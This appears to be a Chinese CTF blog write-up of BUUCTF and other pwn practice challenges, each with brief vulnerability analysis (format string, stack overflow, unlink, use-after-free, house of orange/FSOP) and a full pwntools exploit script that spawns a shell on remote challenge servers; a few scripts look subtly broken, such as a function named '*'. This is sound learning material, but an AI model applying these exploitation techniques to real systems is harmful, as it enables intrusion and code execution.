BUUCTF 2021-10-4 Pwn

文章目录

保持手感

echo

分析

[*] '/root/echo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

经典的echo字符串格式化漏洞题:
BUUCTF 2021-10-4 Pwn

偏移:7
改GOT

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/echo"
if  isLocal:
    p=process(filename)#

    pause()
else :
    p=remote("node4.buuoj.cn",26031)

elf=ELF(filename)
libc=ELF("./x86/libc-2.23_buuctf.so")


printf_got=elf.got["printf"]
system_addr=elf.plt["system"]
payload=fmtstr_payload(7,{printf_got:system_addr})
p.sendline(payload)

p.interactive()


Pwnme1

分析

关键栈溢出漏洞点(getfruit函数):
BUUCTF 2021-10-4 Pwn

解法同pwnme2,栈溢出泄露libc方法

注意的点:

  • 如果遇到泄露的got会崩溃问题,不妨换一个函数名,多试试

EXP

整体思路:

  1. 栈溢出ROP泄露libc
  2. 栈溢出ROP返回到任意地址getshell
from pwn import *;
context.log_level="debug"
context.arch="i386"
context.os="linux"

isLocal=0
libc=ELF("./x86/libc-2.23_buuctf.so")#ELF("/lib/i386-linux-gnu/libc-2.23.so")#

if  isLocal:
    p=process("/root/pwnme1")#

    pause()
else :
    p=remote("node4.buuoj.cn",27876)


elf=ELF("/root/pwnme1")
backdoor=0x804869D#0x8048677#
p.sendlineafter("Exit","5")

jmpasm=asm("jmp esp;")
shellcode=asm(shellcraft.sh())
flag_addr=0x08048938
modes_addr=0x08048931
pop_eax=0x08048184
xchg_eax_edx=0x08048189

main_addr=0x08048624#elf.sym["_start"]



printf_plt=elf.plt["puts"]
printf_got=elf.got["puts"]
payload  =b"a"*(0xA4+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)

p.sendlineafter("input",payload)#一个个来不急 慢慢走 一步步来 gets遇到\n才会返回

p.recvuntil("...\n")
leak=u32(p.recv(4))

log.success(hex(leak))

libc_base=leak-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]

sh_addr=0x804831D
payload  =b"a"*(0xA4+4)+p32(system_addr)+p32(main_addr)+p32(sh_addr)
#注意修复ROP的返回地址,无论是x86还是x64,执行system参数可直接传字符串地址

p.sendlineafter("input",payload)





p.interactive()

wdb_2018_1st_babyheap

分析

保护情况:无PIE,got不可写

[*] '/root/wdb_2018_1st_babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

关键漏洞点(UAF):
BUUCTF 2021-10-4 Pwn

根据大佬WP提示,可以使用

  1. unlink
  2. __IO_File结构体的劫持

分析发现:

  1. free中存在uaf漏洞,同时有dump功能
  2. unlink后泄露libc地址

unlink_fakechunk的条件

  1. fake chunk header
  2. fake fd bk
  3. fake next header(覆写到需要释放的堆块块头)

笔记
libc-xx.so文件才有symbols

EXP

Unlink解法:
主要的知识点:

本题不是使用通常的堆溢出Unlink,而是用UAF后double free list的方法,修改fastbin地址,创建一个合法的fake chunk导致Unlink

整体思路:

  1. 构造unlink fake header
  2. 泄露heap地址
  3. DoubleFreeList任意创建堆地址到指定位置为实现unlink准备
  4. 构造fakechunk实现unlink
  5. 泄露unsorted bin地址,计算libc基地址
  6. unlink后实现的任意地址写
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/wdb_2018_1st_babyheap"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",26666)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(idx,content):
    ru("Choice:")
    sl('1')
    ru("Index:")
    sl(str(idx))
    ru("Content:")
    sd(content)


def edit(idx,content):
    ru("Choice:")
    sl('2')
    ru("Index:")
    sl(str(idx))
    ru("Content:")
    sd(content)
def dump(index):
    ru("Choice:")
    sl('3')
    ru("Index:")
    sl(str(index))
def free(index):
    ru("Choice:")
    sl('4')
    ru("Index:")
    sl(str(index))

ptr=0x0000000000602060
fd=ptr-0x18
bk=ptr-0x10
#1.构造unlink fake header
malloc(0,p64(0x31)*4)#fixheader
malloc(1,p64(0x31)*4)
malloc(2,p64(0x31)*4)
malloc(3,p64(0x31)*4)
malloc(4,b"/bin/sh\x00\n")

free(1)
free(0)

#2.泄露chunk1地址
dump(0)#leak chunk1 addr

leak_heap_addr=u64(p.recv(4).ljust(8,b"\x00"))#0xnnnn30
log.info("leak heap addr=>{}".format(hex(leak_heap_addr)))

#3.DoubleFreeList任意创建堆地址到指定位置为实现unlink准备
free(1)#double free list 实际是一个任意地址写的作用(a<=>a),修改了a,就修改了申请堆地址.(实现堆溢出堆叠写)


#4.构造fakechunk实现unlink
malloc(5,p64(leak_heap_addr-0x20)+b"\n")#0xnnnn10(DoubleFree后修改了fastbin链表的一个地址)
malloc(6,b"a\n")
malloc(7,b"a\n")#cycle
payload = p64(fd)+p64(bk)+p64(0x20)+p64(0x90)#overlap chunk1 header
malloc(8,payload)
edit(0,p64(0)+p8(0x21)+b"\n")# fix chunk0 fake header

free(1)#unlink

#5.泄露unsorted bin地址,计算libc基地址
dump(8)#leak
leak=u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))


libc_base=leak-0x3c4b78

__free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]

#6.unlink后实现的任意地址写
payload=b"a"*0x18+p64(__free_hook)
edit(0,payload)

payload=p64(system_addr)+b"\n"
edit(0,payload)


free(4)

#WP:https://blog.****.net/weixin_46521144/article/details/120152352
#



p.interactive()


FSOP

FSOP解该题,动态调试复现:

原理是使程序溢出,进入_IO_Overflow,报错依旧正常运行
BUUCTF 2021-10-4 Pwn
BUUCTF 2021-10-4 Pwn
0x7ff2e8627510

FSOP做法:

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/wdb_2018_1st_babyheap"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",26666)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def add(index,content):
    p.recvuntil('Choice:')
    p.sendline(str(1))
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    if(len(content) == 0x20):
        p.send(content)
    else:
        p.sendline(content)


def edit(index,content):
    p.recvuntil('Choice:')
    p.sendline(str(2))
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    if(len(content) == 0x20):
        p.send(content)
    else:
        p.sendline(content)


def show(index):
    p.recvuntil('Choice:')
    p.sendline(str(3))
    p.recvuntil('Index')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('Choice:')
    p.sendline(str(4))
    p.recvuntil('Index')
    p.sendline(str(index))


add(0,p64(0x31)*4)
add(1,p64(0x0)*2+p64(1)+p64(2))
add(2,p64(0x31)*4)
add(3,p64(0x31)*4)
add(4,p64(0)*4)

# leak heap_base
delete(1)
delete(0)
show(0)
heap_info = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heap_info = (heap_info-0x0a)>>8
heap_base = heap_info-0x30
print("heap_base----->" + hex(heap_base))

edit(0,p64(heap_base+0x20))
add(5,p64(0))
add(6,p64(0)+p64(0x91))
add(7,p64(0)+p64(heap_base+0x10))
# debug()
delete(1)
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = libc_base-0x3c4b78
print("libc_base----->" + hex(libc_base))
edit(5,p64(0)*3+p64(libc_base+libc.sym['system']))

# fsop
edit(6,b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+libc.sym['_IO_list_all']-0x10))# set size to smallbin[4], unsortedbin attack



#gdb.attach(p,"b *0x4009A0")
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(8))



p.interactive()


houseoforange_hitcon_2016

分析

保护情况:全开

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

漏洞点:
读入长度的size位是无符号整数,可整数溢出
BUUCTF 2021-10-4 Pwn

分析:

  1. 需要泄露libc
  2. 修改hook地址?没有free功能
  3. 该题是2堆模式
    1. 小堆存放2堆地址
    2. 堆内容
  4. 存在堆溢出漏洞,通过溢出覆盖泄露libc?

参考EXP:https://blog.****.net/weixin_44145820/article/details/105270036

前置知识

House_of_orange

根据题分析,本题是没有释放功能的,但是如果没有空闲的chunk我们难以获取libc地址,下面就介绍一种不需要释放就能得到unsored bin的办法
当我们申请一块内存时,malloc函数会检查各种bin,都不满足条件之后会检查top chunk是否满足,(由于本题的堆溢出使得我们可以修改topchunk的size),如果topchunk也不行,就需要调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap
所以我们分配的内存需要小于这个
然后来到下一个判断

assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

这里需要满足几个条件:

topchunk size > MINSIZE(0x10)
top chunk inuse位为1
修改之后的 size 必须要对齐到内存页
满足之后,top chunk就被free,从而进入unsorted bin

原文链接:https://blog.****.net/weixin_44145820/article/details/105270036

FSOP

在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,
如下图,它指向_IO_2_1_stderr_:
BUUCTF 2021-10-4 Pwn
而_IO_FILE_plus结构体详细内容如下
BUUCTF 2021-10-4 Pwn
其中_chain指向下一个_IO_FILE_plus结构体

在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到

_IO_flush_all_lockp:

while (fp != NULL)
{
…
    fp = fp->_chain;
    ...
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

如果满足以下条件:

fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了

劫持_IO_OVERFLOW

EXP

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *$rebase(0x13CB)
	c
	x/10gx $rebase(0x203068)
	''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')

def add(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('1')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name :")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))


def show():
	r.recvuntil("Your choice : ")
	r.sendline('2')

def edit(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('3')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name:")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()

zctf_2016_note3

分析

保护情况:

[*] '/root/zctf_2016_note3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

==>无PIE,GOT可写

动态调试笔记

在动态调试中,发现长度存放在堆数组的后面
第一个堆是当前操作的堆

本题思路与note2差不多,关键的漏洞点在edit_note的输入处
for循环的i是无符号类型,len-1可被制造为-1,会造成整数溢出
BUUCTF 2021-10-4 Pwn

整体利用思路

  1. 利用堆溢出漏洞制造unlink
  2. 泄露got表得到libc基地址、修改got表拿shell

EXP

整体思路:

  1. overflows(unsigned) to unlink(zero length)
  2. leak_libc
  3. free==>system
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/zctf_2016_note3"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/ld-2.23.so")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",29864)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size,content):
    ru("option--->>")
    sl('1')
    ru("Input the length of the note content:(less than 1024)")
    sl(str(size))
    ru("Input the note content:")
    sd(content)


def edit(index,content):
    ru("option--->>")
    sl('3')
    ru("Input the id of the note:")
    sl(str(index))
    ru("Input the new content:")
    sd(content)

def free(index):
    ru("option--->>")
    sl('4')
    ru("Input the id of the note:")
    sl(str(index))
ptr=0x0000000006020C8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)+p64(0xa1)#把自己当成top chunk(pre size=0)
fake_chunk+=p64(fd)+p64(bk)
malloc(0x80,fake_chunk+b"\n")
malloc(0,b"\n")
malloc(0x80,b"ccc\n")
malloc(0x8,b"ddd\n")
malloc(0x80,b"/bin/sh\x00\n")
malloc(0x80,b"/bin/sh\x00\n")

#1.overflows(unsigned) to unlink
free(1)#len-1=-1(unsigned i)




fake_chunk=b"A"*0x10+p64(0xa0)+p64(0x90)+b"\n"
malloc(0,fake_chunk)

free(2)


#2.leak_libc
free_got=elf.got["free"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
payload=b"a"*0x30+p64(free_got)+p64(puts_got)+b"\n"#chunk4=puts@got
edit(0,payload)


payload=p64(puts_plt)+b"\n"
edit(3,payload)


free(4)


leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_base=leak-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]


#3.free==>system
payload=p64(system_addr)+b"\n"
edit(3,payload)
free(5)

p.interactive()


gyctf_2020_document

分析

[*] '/root/gyctf_2020_document'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

UAF漏洞点:
BUUCTF 2021-10-4 Pwn

堆题,整体特征

  1. 释放存在UAF漏洞
  2. 开PIE,GOT不可写,使用泄露Libc、覆写hook指针方法

EXP

整体思路:

  1. 泄露unsorted bin地址
  2. 制造堆叠
  3. 任意地址写(chunk3)

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/gyctf_2020_document"
if  isLocal:
    p=process(filename)#
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
 
else :
    p=remote("node4.buuoj.cn",25196)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)
#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(name, sex,info):
    p.recvuntil('choice : ')
    p.sendline('1')
    p.recvuntil('input name')
    p.send(name)
    p.recvuntil("input sex")
    p.send(sex)
    p.recvuntil("input information")
    p.send(info)

def dump(idx):
    p.recvuntil('choice : ')
    p.sendline('2')
    p.recvuntil("index : ")
    p.sendline(str(idx))

def edit(idx,YorN,info):
    p.recvuntil('choice : ')
    p.sendline('3')
    p.recvuntil("index : ")
    p.sendline(str(idx))
    p.recvuntil("Are you sure change sex?")
    p.send(YorN)
    p.recvuntil("Now change information")
    p.send(info)

def delete(idx):
    p.recvuntil('choice : ')
    p.sendline('4')
    p.recvuntil("index : ")
    p.sendline(str(idx))


#1.泄露unsorted bin地址
create("aaaaaaaa",'W','i'*112)#0
create("bbbbbbbb",'M','c'*112)#1



delete(0)
dump(0)

leak=u64((p.recvuntil("\x7f")[-6:]).ljust(8,b"\x00"))
log.warning("leak unsorted bin addr=>{}".format(hex(leak)))

libc_base=leak-0x3C4B78

libc.address=libc_base
__free_hook=libc.sym["__free_hook"]-0x10
_system_addr=libc.sym["system"]

create("/bin/sh\x00",'M','d'*112)#2
delete(1)
#2.制造堆叠
create("aaaacccc",'M','g'*112)#3 取了chunk0、1(合并)中的0x20
#all: 0x5643732320d0 —▸ 0x564373232020 —▸ 0x7f1e11dbcb78 (main_arena+88) ◂— 0x5643732320d0



#3.任意地址写(chunk3)
payload=p64(0)+p64(0x21)+p64(__free_hook)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8#堆叠导致任意地址写(chunk3的内容地址)
edit(0,'Y',payload)


payload=p64(_system_addr)+p64(0)*13
edit(3,'Y',payload)

delete(2)

p.interactive()


动态调试复现

2021.10.4新增笔记:
关键点:free了chunk0和1的内容堆,chunk3创建使用了chunk0、1合并后的内容堆,导致修改chunk0内容可任意改写到chunk3的地址堆

攻击核心(任意写):程序将堆地址存放在了一个小堆(0x8)大小内,覆写它即可。
BUUCTF 2021-10-4 Pwn

当进行操作:

  1. 创建2个chunk(0、1)
  2. 删除chunk0
  3. 创建1个chunk(2)
  4. 删除chunk1
  5. 创建1个chunk(3)

此时,0x50的偏移刚好存放chunk3的字符串地址(0xe0)
一旦修改chunk0,我们就可以达到任意地址写。
BUUCTF 2021-10-4 Pwn

为什么?

chunk0内存指向: 0x55f3035aa060 —▸ 0x55f3043c6010 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170

由于程序存在UAF漏洞,同时有且仅仅释放了小堆内的字符串地址(只释放0x90、留下0x20)
在下一次申请时,程序会刚好从0x90(字符串堆)取 0x20 大小当做(0x8)堆地址存放小堆
所以肯定是会造成堆叠的。

BUUCTF 2021-10-4 Pwn

堆数组

00:0000│  0x55f3035aa060 —▸ 0x55f3043c6010 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│  0x55f3035aa068 —▸ 0x55f3043c60c0 —▸ 0x55f3043c60e0 ◂— 0x68732f2f6e69622f ('/bin//sh')
02:0010│  0x55f3035aa070 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170 ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│  0x55f3035aa078 —▸ 0x55f3043c6050 —▸ 0x55f3043c60e0 ◂— 0x68732f2f6e69622f ('/bin//sh')

堆内存

+0030 0x55f3043c6030  70 61 3c 04  f3 55 00 00  01 00 00 00  00 00 00 00  │pa<.│.U..│....│....│
+0040 0x55f3043c6040  69 69 69 69  69 69 69 69  21 00 00 00  00 00 00 00  │iiii│iiii│!...│....│
+0050 0x55f3043c6050  e0 60 3c 04  f3 55 00 00  01 00 00 00  00 00 00 00  │.`<.│.U..│....│....│

e0 60 3c 04 f3 55 00 00为chunk3字符串地址,0x55f3043c6050为小堆地址
分析整体情况:

  1. 0、1我们已经释放,2、3是可改的
  2. 刚好chunk3的字符串地址存放在刚刚释放的堆(0x50),我们edit(0)就从0x40开始,刚好可以覆写存放字符串地址的小堆

总结:

  1. 关键是分析整体程序结构
    1. 0x20大小存放了字符串地址
    2. 0x90大小存放了自定义内容

这样的结构,只要改写了0x20里内容,就相当于实现任意地址写
因为(0x20–>0x90)

护网杯_gettingstart

分析

题目不难,主要考察对小数在内存中储存的理解

动态调试后,答案已经在内存中显示了
[[UCOMISD]]汇编指令:—无序比较标量双精度浮点值并设置EFLAGS

BUUCTF 2021-10-4 Pwn
BUUCTF 2021-10-4 Pwn

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/2018_gettingStart"
if  isLocal:
    p=process(filename)#

    #pause()
else :
    p=remote("node4.buuoj.cn",25562)

elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")


payload=b"a"*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)

p.interactive()

picoctf_2018_buffer overflow 0

分析

ssh题,传参学习

p.process(['./vuln',payload])传入payload作为参数

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="i386"

isLocal=0

filename="./PicoCTF_2018_buffer_overflow_0"
if  isLocal:
    p=process(filename)#

    
else :
    p=ssh(user="CTFMan",host="node4.buuoj.cn",port=29059,password="guest")




#/home/CTFMan
flag_addr=0x0804A080
print_plt=0x080486BC

payload=b"a"*(0x18+4)+p32(print_plt)+p32(flag_addr)
sh = p.process(['./vuln',payload])
sh.interactive()

p.interactive()

XCTF-Mary_Morton

分析

热身
非常基础的栈溢出、字符串格式化漏洞的题目:
BUUCTF 2021-10-4 Pwn
字符串格式化漏洞:
BUUCTF 2021-10-4 Pwn
栈溢出漏洞:
BUUCTF 2021-10-4 Pwn
后门函数:
BUUCTF 2021-10-4 Pwn

同时程序有canary保护,基本的解题思路:

  1. 通过格式化字符串泄露canary
  2. 构造栈溢出payload到后门

调试笔记
canary:%23$p
canary的填充位置可以直接在IDA的变量表看到BUUCTF 2021-10-4 Pwn

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/Mary_Morton"
if  isLocal:
    p=process(filename)#

    #pause()
else :
    p=remote("node4.buuoj.cn",28829)

elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")


def Format_string_bug(payload):
    p.recvuntil("battle")
    p.sendline("2")
    p.sendline(payload)

def *(payload):
    p.recvuntil("battle")
    p.sendline("1")
    p.sendline(payload)

backdoor=0x00000000004008DA

Format_string_bug("%23$p")
p.recvuntil("0x")
leak=int(p.recv(16),16)

payload=b"a"*(0x88)
payload+=p64(leak)#[rbp-8h] canary
payload+=p64(0)#rbp
payload+=p64(backdoor)

*(payload)
p.interactive()

EXP

gift

分析

MSSCTF_2020 降维攻击
C++写的类似堆的菜单题

保护情况:

[*] '/root/gift'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

简单的进行静态分析一下,可以发现,程序是一道堆题,并且有UAF的漏洞、后门

程序创建堆块后,会将输出函数地址的类放到堆上
BUUCTF 2021-10-4 Pwn
(一旦我们将这个地址改成对应后门函数的偏移,再调用输出函数即可getshell)
BUUCTF 2021-10-4 Pwn
UAF漏洞出(释放后未清零)
BUUCTF 2021-10-4 Pwn

  1. 无PIE
  2. 可写GOT
  3. 有后门函数
  4. 输出函数在堆上

经典的[[UAF]]

动态调试发现的特征:

  1. 堆块创建的大小存放固定为一个,且大小为0x30(48)
  2. 释放后未清零ptr
  3. 调用的函数为堆内地址+8

整体思路:

  1. 正常创建
  2. 释放、重新创建同大小堆实现UAF覆写函数地址

注意的点:

  • 要将UAF利用起来,需要创建回原来大小的堆块

EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/fishing_master"
p=remote("pwn.archive.xdsec.chall.frankli.site",10029)
libc=ELF("./x64/libc-2.23_mssctf.so")
#p=process(name)#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#

elf=ELF(name)

def create(name,age):
    p.recvuntil("5. exit.")
    p.sendline("1")
    p.sendlineafter("name",name)
    p.sendlineafter("age",str(age))

def show():
    p.recvuntil("5. exit.")
    p.sendline("2")
def delete():
    p.recvuntil("5. exit.")
    p.sendline("3")
def leavemsg(len,msg):
    p.recvuntil("5. exit.")
    p.sendline("4")
    p.sendlineafter("long",str(len))
    p.sendlineafter("content",msg)

goal=0x401E58-8
create("ch1lc4t",19)#0x30

delete()

leavemsg(0x30,p64(goal))

show()

p.interactive()

fishing_master

分析

搞完两个月pwn回来看mssctf的pwn简直是降维攻击…

保护情况:全开

静态分析一下,关键漏洞点:
有任意地址写的漏洞(代码逻辑有问题,未加地址符、加地址符结合起来可实现任意地址写)
BUUCTF 2021-10-4 Pwn
同时有一个8字节的格式化字符串漏洞:
BUUCTF 2021-10-4 Pwn

利用思路假设:

  1. 泄露libc(字符串格式化)
  2. read任意地址写逻辑漏洞
    1. 不可写GOT?=>可直接劫持libc内的hook函数

整体思路:

  1. 利用printf泄露libc
  2. 任意写hook地址

笔记:

  1. 在无法修改ELF的GOT情况下(Full Relro),可以修改libc内的hook地址
  2. 题目的hookfree函数提示了要对free做手脚

EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/fishing_master"
p=remote("pwn.archive.xdsec.chall.frankli.site",10094)
libc=ELF("./x64/libc-2.23_mssctf.so")
#p=process(name)#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#

elf=ELF(name)


p.recvuntil("tell me your name, and maybe i will teach you how to fish if i like it.")
p.sendline("sh\x00")

p.recvuntil("friendship")
p.sendline("%13$p")

p.recvuntil("0x")
leak=int(p.recv(12),16)#start -240
libc_base=leak-libc.sym["__libc_start_main"]-240

free_got=libc_base+libc.sym["__free_hook"]#
system_addr=libc_base+libc.sym["system"]
pause()
p.recvuntil("What do you think of this new fish hook?")
p.send(p64(free_got))

p.recvuntil("i do know you will like it, i hope it can make you a master of fishing.")
p.send(p64(system_addr))



p.interactive()

上一篇:[pwnable] 3x17 wp


下一篇:2020 西湖论剑 pwn mmutag